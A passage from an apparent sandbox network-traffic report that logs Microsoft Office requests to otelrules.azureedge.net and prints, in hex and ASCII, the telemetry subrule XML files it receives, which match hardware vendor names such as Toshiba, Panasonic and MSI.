DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.9	49743	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:57 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 96a66594-b01e-0070-61ef-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-16849878b78g2m84h2v9sta29000000000t000000000dun7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49745	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:57 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: cd3f31c5-e01e-0033-6a5a-274695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-r197bdfb6b46kmj4701qkq60240000000130000000001mpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49746	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:57 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c1e5dbf7-401e-0029-2d43-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-r197bdfb6b4b4pw6nr8czsrctg00000002g0000000009txm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	49744	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:57 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-16849878b7898p5f6vryaqvp5800000002s000000000b2ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49747	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-16849878b78p49s6zkwt11bbkn00000001r00000000028ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:58 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.9	49749	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2ee95feb-501e-0029-5d17-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-15b8d89586fvpb597drk06r8fc0000000310000000004buu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:58 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49751	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-16849878b78p49s6zkwt11bbkn00000001gg00000000engs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49752	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 0a130610-701e-001e-4a1f-26f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-r197bdfb6b4b4pw6nr8czsrctg00000002m0000000005hrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:58 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49753	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 44f017bc-601e-000d-6df3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-15b8d89586frzkk2umu6w8qnt80000000hd0000000007aa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:58 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.9	49754	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:58 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:58 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114558Z-16849878b785jrf8dn0d2rczaw000000037g000000001039 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:59 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.9	49755	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:59 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:59 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f826faa8-301e-0099-1457-266683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114559Z-r197bdfb6b4bs5qf58wn14wgm000000001100000000004ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:59 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.9	49757	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:59 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:59 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114559Z-15b8d89586ff5l62aha9080wv0000000035000000000790x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:59 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 